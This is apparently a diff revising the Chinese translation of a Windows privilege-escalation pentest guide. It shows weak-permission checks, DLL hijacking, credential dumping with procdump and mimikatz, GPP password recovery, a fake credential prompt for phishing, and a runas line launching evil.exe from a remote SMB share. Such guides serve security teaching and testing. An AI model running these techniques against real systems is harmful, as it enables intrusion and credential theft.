- 在 **自定义操作属性** 下，将 **Run64Bit** 更改为 **True**。
|
||||
- 最后，**构建它**。
|
||||
- 如果出现警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`，请确保将平台设置为 x64。
|
||||
- 如果显示警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`，请确保将平台设置为 x64。
|
||||
|
||||
### MSI 安装
|
||||
|
||||
@ -261,7 +261,7 @@ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
|
||||
```
|
||||
### WEF
|
||||
|
||||
Windows Event Forwarding，了解日志发送到哪里是很有趣的。
|
||||
Windows 事件转发，了解日志发送到哪里是很有趣的
|
||||
```bash
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
|
||||
```
|
||||
@ -282,7 +282,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
|
||||
```
|
||||
### LSA 保护
|
||||
|
||||
从 **Windows 8.1** 开始，微软引入了对本地安全机构 (LSA) 的增强保护，以 **阻止** 不受信任的进程 **读取其内存** 或注入代码，从而进一步保护系统。\
|
||||
从 **Windows 8.1** 开始，微软引入了对本地安全机构 (LSA) 的增强保护，以 **阻止** 不受信任的进程 **读取其内存** 或注入代码，从而进一步增强系统安全性。\
|
||||
[**有关 LSA 保护的更多信息**](../stealing-credentials/credentials-protections.md#lsa-protection)。
|
||||
```bash
|
||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
|
||||
### 文件和文件夹权限
|
||||
|
||||
首先，列出进程 **检查进程命令行中的密码**。\
|
||||
检查您是否可以 **覆盖某个正在运行的二进制文件**，或者您是否对二进制文件夹具有写入权限，以利用可能的 [**DLL 劫持攻击**](dll-hijacking/):
|
||||
检查您是否可以 **覆盖某个正在运行的二进制文件**，或者您是否对二进制文件夹具有写权限，以利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html)：
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -381,7 +381,7 @@ icacls "%%z"
|
||||
)
|
||||
)
|
||||
```
|
||||
**检查进程二进制文件文件夹的权限 (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
**检查进程二进制文件文件夹的权限 (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
@ -391,7 +391,7 @@ todos %username%" && echo.
|
||||
```
|
||||
### 内存密码挖掘
|
||||
|
||||
您可以使用来自 sysinternals 的 **procdump** 创建正在运行的进程的内存转储。像 FTP 这样的服务在内存中 **以明文形式存储凭据**，尝试转储内存并读取凭据。
|
||||
您可以使用来自 sysinternals 的 **procdump** 创建正在运行的进程的内存转储。像 FTP 这样的服务在内存中以 **明文形式存储凭据**，尝试转储内存并读取凭据。
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
@ -431,12 +431,12 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
|
||||
### 启用服务
|
||||
|
||||
如果您遇到此错误（例如与SSDPSRV相关）：
|
||||
如果您遇到此错误（例如与SSDPSRV）：
|
||||
|
||||
_系统错误 1058 已发生。_\
|
||||
&#xNAN;_T该服务无法启动，可能是因为它被禁用或没有与之关联的启用设备。_
|
||||
|
||||
您可以使用以下方法启用它：
|
||||
您可以使用
|
||||
```bash
|
||||
sc config SSDPSRV start= demand
|
||||
sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||||
@ -465,16 +465,16 @@ net stop [service name] && net start [service name]
|
||||
权限可以通过各种权限提升：
|
||||
|
||||
- **SERVICE_CHANGE_CONFIG**: 允许重新配置服务二进制文件。
|
||||
- **WRITE_DAC**: 启用权限重新配置，从而能够更改服务配置。
|
||||
- **WRITE_DAC**: 使得权限重新配置成为可能，从而能够更改服务配置。
|
||||
- **WRITE_OWNER**: 允许获取所有权和权限重新配置。
|
||||
- **GENERIC_WRITE**: 继承更改服务配置的能力。
|
||||
- **GENERIC_ALL**: 也继承更改服务配置的能力。
|
||||
|
||||
对于此漏洞的检测和利用，可以使用 _exploit/windows/local/service_permissions_。
|
||||
为了检测和利用此漏洞，可以使用 _exploit/windows/local/service_permissions_。
|
||||
|
||||
### 服务二进制文件的弱权限
|
||||
|
||||
**检查您是否可以修改由服务执行的二进制文件**，或者您是否在二进制文件所在的文件夹中具有**写权限**（[**DLL Hijacking**](dll-hijacking/)）**。**\
|
||||
**检查您是否可以修改由服务执行的二进制文件**，或者您是否在二进制文件所在的文件夹中**具有写权限**（[**DLL Hijacking**](dll-hijacking/index.html)）**。**\
|
||||
您可以使用 **wmic**（不在 system32 中）获取由服务执行的每个二进制文件，并使用 **icacls** 检查您的权限：
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
@ -499,7 +499,7 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\
|
||||
|
||||
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
|
||||
```
|
||||
应该检查 **Authenticated Users** 或 **NT AUTHORITY\INTERACTIVE** 是否拥有 `FullControl` 权限。如果是这样，服务执行的二进制文件可以被更改。
|
||||
应该检查**Authenticated Users**或**NT AUTHORITY\INTERACTIVE**是否拥有`FullControl`权限。如果是这样，服务执行的二进制文件可以被更改。
|
||||
|
||||
要更改执行的二进制文件的路径：
|
||||
```bash
|
||||
@ -555,7 +555,7 @@ Windows 允许用户指定在服务失败时采取的操作。此功能可以配
|
||||
|
||||
### 已安装的应用程序
|
||||
|
||||
检查 **二进制文件的权限**（也许你可以覆盖一个并提升权限）和 **文件夹** ([DLL Hijacking](dll-hijacking/))。
|
||||
检查 **二进制文件的权限**（也许你可以覆盖一个并提升权限）和 **文件夹** ([DLL Hijacking](dll-hijacking/index.html))。
|
||||
```bash
|
||||
dir /a "C:\Program Files"
|
||||
dir /a "C:\Program Files (x86)"
|
||||
@ -594,7 +594,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
||||
### 开机时运行
|
||||
|
||||
**检查您是否可以覆盖某些将由不同用户执行的注册表或二进制文件。**\
|
||||
**阅读** **以下页面** 以了解有关有趣的 **自动运行位置以提升权限** 的更多信息：
|
||||
**阅读**以下页面以了解有关有趣的**自动运行位置以提升权限**的更多信息：
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-with-autorun-binaries.md
|
||||
@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md
|
||||
|
||||
### 驱动程序
|
||||
|
||||
寻找可能的 **第三方奇怪/易受攻击** 驱动程序
|
||||
查找可能的**第三方奇怪/易受攻击**驱动程序
|
||||
```bash
|
||||
driverquery
|
||||
driverquery.exe /fo table
|
||||
@ -673,7 +673,7 @@ C:\Windows\System32\wsl.exe
|
||||
```
|
||||
二进制 `bash.exe` 也可以在 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` 中找到。
|
||||
|
||||
如果你获得了 root 用户权限，你可以在任何端口上监听（第一次使用 `nc.exe` 在端口上监听时，它会通过 GUI 询问是否允许 `nc` 通过防火墙）。
|
||||
如果你获得了 root 用户权限，你可以在任何端口上监听（第一次使用 `nc.exe` 在某个端口上监听时，它会通过 GUI 询问是否允许 `nc` 通过防火墙）。
|
||||
```bash
|
||||
wsl whoami
|
||||
./ubuntun1604.exe config --default-user root
|
||||
@ -715,7 +715,7 @@ Target: Domain:interactive=WORKGROUP\Administrator
|
||||
Type: Domain Password
|
||||
User: WORKGROUP\Administrator
|
||||
```
|
||||
然后您可以使用 `runas` 和 `/savecred` 选项来使用保存的凭据。以下示例通过 SMB 共享调用远程二进制文件。
|
||||
然后您可以使用 `runas` 命令和 `/savecred` 选项来使用保存的凭据。以下示例通过 SMB 共享调用远程二进制文件。
|
||||
```bash
|
||||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||||
```
|
||||
@ -727,18 +727,18 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
|
||||
|
||||
### DPAPI
|
||||
|
||||
**数据保护 API (DPAPI)** 提供了一种对称加密数据的方法，主要用于 Windows 操作系统中对非对称私钥的对称加密。此加密利用用户或系统秘密显著增加熵。
|
||||
**数据保护 API (DPAPI)** 提供了一种对称加密数据的方法，主要用于 Windows 操作系统中对非对称私钥的对称加密。此加密利用用户或系统秘密显著贡献熵。
|
||||
|
||||
**DPAPI 通过从用户的登录秘密派生的对称密钥来实现密钥的加密**。在涉及系统加密的场景中，它利用系统的域认证秘密。
|
||||
**DPAPI 通过从用户的登录秘密派生的对称密钥来实现密钥的加密**。在涉及系统加密的场景中，它利用系统的域身份验证秘密。
|
||||
|
||||
使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中，其中 `{SID}` 代表用户的 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥位于同一文件中**，通常由 64 字节的随机数据组成。（重要的是要注意，该目录的访问受到限制，无法通过 CMD 中的 `dir` 命令列出其内容，但可以通过 PowerShell 列出）。
|
||||
使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中，其中 `{SID}` 代表用户的 [安全标识符](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥位于同一文件中**，通常由 64 字节的随机数据组成。（重要的是要注意，该目录的访问受到限制，无法通过 CMD 中的 `dir` 命令列出其内容，但可以通过 PowerShell 列出）。
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
```
|
||||
您可以使用 **mimikatz module** `dpapi::masterkey` 以及适当的参数 (`/pvk` 或 `/rpc`) 来解密它。
|
||||
|
||||
由主密码保护的 **凭据文件** 通常位于：
|
||||
**受主密码保护的凭据文件** 通常位于：
|
||||
```powershell
|
||||
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
@ -746,7 +746,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
```
|
||||
您可以使用 **mimikatz module** `dpapi::cred` 和适当的 `/masterkey` 进行解密。\
|
||||
您可以使用 `sekurlsa::dpapi` 模块（如果您是 root）从 **memory** 中 **提取许多 DPAPI** **masterkeys**。
|
||||
您可以使用 `sekurlsa::dpapi` 模块（如果您是 root）从 **memory** 中 **extract many DPAPI** **masterkeys**。
|
||||
|
||||
{{#ref}}
|
||||
dpapi-extracting-passwords.md
|
||||
@ -754,9 +754,9 @@ dpapi-extracting-passwords.md
|
||||
|
||||
### PowerShell 凭据
|
||||
|
||||
**PowerShell 凭据** 通常用于 **脚本** 和自动化任务，以便方便地存储加密的凭据。这些凭据使用 **DPAPI** 进行保护，这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。
|
||||
**PowerShell credentials** 通常用于 **scripting** 和自动化任务，以便方便地存储加密凭据。这些凭据使用 **DPAPI** 进行保护，这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。
|
||||
|
||||
要从包含 PS 凭据的文件中 **解密** 凭据，您可以执行：
|
||||
要从包含 PS 凭据的文件中 **decrypt** 凭据，您可以执行：
|
||||
```powershell
|
||||
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
|
||||
PS C:\> $credential.GetNetworkCredential().username
|
||||
@ -803,7 +803,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录中。\
|
||||
如果该文件存在，则可能已经配置了一些 **凭据** 并可以 **恢复**。
|
||||
|
||||
此代码提取自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
|
||||
此代码提取自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)：
|
||||
```bash
|
||||
function Get-ApplicationHost {
|
||||
$OrigError = $ErrorActionPreference
|
||||
@ -884,7 +884,7 @@ $ErrorActionPreference = $OrigError
|
||||
### SCClient / SCCM
|
||||
|
||||
检查 `C:\Windows\CCM\SCClient.exe` 是否存在。\
|
||||
安装程序以 **SYSTEM 权限** 运行，许多程序易受 **DLL Sideloading 攻击（信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**）。**
|
||||
安装程序是 **以 SYSTEM 权限运行的**，许多程序容易受到 **DLL Sideloading（信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**）。**
|
||||
```bash
|
||||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||||
if ($result) { $result }
|
||||
@ -914,7 +914,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||||
```
|
||||
> [!NOTE]
|
||||
> 看起来这个技术已经不再有效。我尝试创建一些 ssh 密钥，使用 `ssh-add` 添加它们，并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在，procmon 在非对称密钥认证期间没有识别到 `dpapi.dll` 的使用。
|
||||
> 看起来这个技术不再有效。我尝试创建一些 ssh 密钥，使用 `ssh-add` 添加它们，并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在，procmon 在非对称密钥认证期间没有识别到 `dpapi.dll` 的使用。
|
||||
|
||||
### Unattended files
|
||||
```
|
||||
@ -980,7 +980,7 @@ AppData\Roaming\gcloud\access_tokens.db
|
||||
|
||||
之前有一个功能允许通过组策略首选项 (GPP) 在一组机器上部署自定义本地管理员帐户。然而，这种方法存在重大安全缺陷。首先，存储在 SYSVOL 中的组策略对象 (GPO) 作为 XML 文件，可以被任何域用户访问。其次，这些 GPP 中的密码使用公开文档的默认密钥通过 AES256 加密，任何经过身份验证的用户都可以解密。这构成了严重风险，因为这可能允许用户获得提升的权限。
|
||||
|
||||
为了减轻这一风险，开发了一个功能，用于扫描包含非空 "cpassword" 字段的本地缓存 GPP 文件。找到此类文件后，该功能解密密码并返回一个自定义 PowerShell 对象。该对象包括有关 GPP 的详细信息和文件位置，有助于识别和修复此安全漏洞。
|
||||
为了减轻这一风险，开发了一个功能，用于扫描包含非空 "cpassword" 字段的本地缓存 GPP 文件。找到此类文件后，该功能解密密码并返回一个自定义 PowerShell 对象。该对象包含有关 GPP 和文件位置的详细信息，有助于识别和修复此安全漏洞。
|
||||
|
||||
在 `C:\ProgramData\Microsoft\Group Policy\history` 或 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (在 W Vista 之前)_ 中搜索这些文件：
|
||||
|
||||
@ -1054,7 +1054,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
|
||||
```
|
||||
### Ask for credentials
|
||||
|
||||
您可以始终**要求用户输入他的凭据，甚至是其他用户的凭据**，如果您认为他可能知道它们（请注意，**直接向**客户端**询问** **凭据**是非常**危险**的）：
|
||||
您可以始终**要求用户输入他的凭据，甚至是其他用户的凭据**，如果您认为他可能知道它们（请注意，**直接**向客户**询问**凭据是非常**危险**的）：
|
||||
```bash
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
@ -1170,7 +1170,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
|
||||
**组件对象模型（COM）**是内置于Windows操作系统中的一种技术，允许不同语言的软件组件之间进行**互通**。每个COM组件通过类ID（CLSID）进行**标识**，每个组件通过一个或多个接口暴露功能，这些接口通过接口ID（IIDs）进行标识。
|
||||
|
||||
COM类和接口在注册表中定义，分别位于**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**和**HKEY\_**_**CLASSES\_**_**ROOT\Interface**。该注册表是通过合并**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**创建的。
|
||||
COM类和接口在注册表中分别定义在**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**和**HKEY\_**_**CLASSES\_**_**ROOT\Interface**。该注册表是通过合并**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**创建的。
|
||||
|
||||
在该注册表的CLSID中，您可以找到子注册表**InProcServer32**，其中包含一个指向**DLL**的**默认值**和一个名为**ThreadingModel**的值，该值可以是**Apartment**（单线程）、**Free**（多线程）、**Both**（单线程或多线程）或**Neutral**（线程中立）。
|
||||
|
||||
@ -1198,7 +1198,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||||
where /R C:\ user.txt
|
||||
where /R C:\ *.ini
|
||||
```
|
||||
**在注册表中搜索密钥名称和密码**
|
||||
**搜索注册表中的键名和密码**
|
||||
```bash
|
||||
REG QUERY HKLM /F "password" /t REG_SZ /S /K
|
||||
REG QUERY HKCU /F "password" /t REG_SZ /S /K
|
||||
@ -1208,7 +1208,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||||
### 搜索密码的工具
|
||||
|
||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **是一个msf** 插件，我创建这个插件是为了 **自动执行每个搜索凭据的metasploit POST模块** 在受害者内部。\
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索本页面提到的所有包含密码的文件。\
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索此页面中提到的所有包含密码的文件。\
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个从系统中提取密码的优秀工具。
|
||||
|
||||
工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 搜索 **会话**、**用户名** 和 **密码**，这些数据以明文形式保存在多个工具中（PuTTY、WinSCP、FileZilla、SuperPuTTY 和 RDP）。
|
||||
@ -1220,10 +1220,10 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
```
|
||||
## 泄露的句柄
|
||||
|
||||
想象一下**一个以SYSTEM身份运行的进程**通过**完全访问**打开一个新进程（`OpenProcess()`）。同一个进程**还创建一个新进程**（`CreateProcess()`），**具有低权限但继承主进程的所有打开句柄**。\
|
||||
然后，如果你对**低权限进程有完全访问权限**，你可以获取**通过`OpenProcess()`创建的特权进程的打开句柄**并**注入一个shellcode**。\
|
||||
想象一下**一个以SYSTEM身份运行的进程**通过**完全访问**打开一个新进程（`OpenProcess()`）。同一个进程**还创建了一个新进程**（`CreateProcess()`），**具有低权限但继承了主进程的所有打开句柄**。\
|
||||
然后，如果你对这个低权限进程**拥有完全访问权限**，你可以抓取通过`OpenProcess()`创建的**特权进程的打开句柄**并**注入一个shellcode**。\
|
||||
[阅读这个例子以获取更多关于**如何检测和利用此漏洞的信息**。](leaked-handle-exploitation.md)\
|
||||
[阅读这个**其他帖子以获得更完整的解释，了解如何测试和滥用具有不同权限级别（不仅仅是完全访问权限）继承的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
|
||||
[阅读这篇**其他文章以获得更完整的解释，了解如何测试和滥用具有不同权限级别（不仅仅是完全访问权限）继承的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
|
||||
|
||||
## 命名管道客户端冒充
|
||||
|
||||
@ -1231,9 +1231,9 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
|
||||
Windows提供了一种称为**命名管道**的功能，允许不相关的进程共享数据，甚至跨不同网络。这类似于客户端/服务器架构，角色定义为**命名管道服务器**和**命名管道客户端**。
|
||||
|
||||
当**客户端**通过管道发送数据时，设置管道的**服务器**有能力**承担客户端的身份**，前提是它具有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**，你可以模仿它，这提供了一个**获得更高权限**的机会，通过采用该进程的身份，一旦它与您建立的管道进行交互。有关执行此类攻击的说明，可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](#from-high-integrity-to-system)找到有用的指南。
|
||||
当**客户端**通过管道发送数据时，设置管道的**服务器**有能力**承担客户端的身份**，前提是它拥有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**，你可以模仿它，这提供了**获得更高权限**的机会，因为一旦它与您建立的管道交互，您就可以采用该进程的身份。有关执行此类攻击的说明，可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](#from-high-integrity-to-system)找到有用的指南。
|
||||
|
||||
此外，以下工具允许**使用像burp这样的工具拦截命名管道通信：** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有管道以寻找特权提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
此外，以下工具允许**使用像burp这样的工具拦截命名管道通信**：[**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有管道以寻找权限提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
## 杂项
|
||||
|
||||
@ -1319,7 +1319,7 @@ integrity-levels.md
|
||||
|
||||
### **新服务**
|
||||
|
||||
如果您已经在高完整性进程中运行，**切换到 SYSTEM** 可以很简单，只需**创建并执行一个新服务**：
|
||||
如果您已经在高完整性进程中运行，**切换到 SYSTEM** 可以通过**创建和执行新服务**来轻松实现：
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
@ -1327,7 +1327,7 @@ sc start newservicename
|
||||
### AlwaysInstallElevated
|
||||
|
||||
从高完整性进程中，您可以尝试**启用 AlwaysInstallElevated 注册表项**并使用 _**.msi**_ 包装器**安装**反向 shell。\
|
||||
[有关涉及的注册表项和如何安装 _.msi_ 包的更多信息，请点击这里。](#alwaysinstallelevated)
|
||||
[有关相关注册表项和如何安装 _.msi_ 包的更多信息，请点击这里。](#alwaysinstallelevated)
|
||||
|
||||
### High + SeImpersonate privilege to System
|
||||
|
||||
@ -1335,7 +1335,7 @@ sc start newservicename
|
||||
|
||||
### From SeDebug + SeImpersonate to Full Token privileges
|
||||
|
||||
如果您拥有这些令牌权限（您可能会在已经是高完整性进程中找到），您将能够**打开几乎任何进程**（非受保护进程），使用 SeDebug 权限，**复制进程的令牌**，并创建一个**具有该令牌的任意进程**。\
|
||||
如果您拥有这些令牌权限（您可能会在已经是高完整性进程中找到），您将能够**打开几乎任何进程**（非受保护进程），使用 SeDebug 权限**复制进程的令牌**，并创建一个**具有该令牌的任意进程**。\
|
||||
使用此技术通常**选择任何以 SYSTEM 身份运行的进程，具有所有令牌权限**（_是的，您可以找到没有所有令牌权限的 SYSTEM 进程_）。\
|
||||
**您可以在这里找到** [**执行所提议技术的代码示例**](sedebug-+-seimpersonate-copy-token.md)**。**
|
||||
|
||||
@ -1347,8 +1347,8 @@ sc start newservicename
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
如果您设法**劫持一个由以**SYSTEM**身份运行的**进程**加载的 dll，您将能够以这些权限执行任意代码。因此，Dll Hijacking 对于这种特权升级也很有用，而且，如果从高完整性进程进行，**更容易实现**，因为它将对用于加载 dll 的文件夹具有**写权限**。\
|
||||
**您可以** [**在这里了解更多关于 Dll 劫持的信息**](dll-hijacking/)**。**
|
||||
如果您成功**劫持一个由以**SYSTEM**身份运行的**进程**加载的 dll，您将能够以这些权限执行任意代码。因此，Dll Hijacking 对于这种特权升级也很有用，而且，从高完整性进程中实现**更容易**，因为它将对用于加载 dll 的文件夹具有**写权限**。\
|
||||
**您可以** [**在这里了解更多关于 Dll 劫持的信息**](dll-hijacking/index.html)**。**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
|
||||
@ -1379,7 +1379,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域中喷洒收集到的密码**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 privesc Windows 枚举**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞（已弃用，适用于 Watson）\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞（已弃用，改为 Watson）\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(需要管理员权限)**
|
||||
|
||||
**Exe**
|
||||
@ -1388,8 +1388,8 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以搜索错误配置（更多是收集信息工具而非 privesc）（需要编译） **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据（在 github 上有预编译 exe）**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置（在 github 上的可执行文件预编译）。不推荐。它在 Win10 上效果不好。\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置（来自 python 的 exe）。不推荐。它在 Win10 上效果不好。
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置（在 github 上的可执行文件预编译）。不推荐。它在 Win10 上效果不佳。\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置（来自 python 的 exe）。不推荐。它在 Win10 上效果不佳。
|
||||
|
||||
**Bat**
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user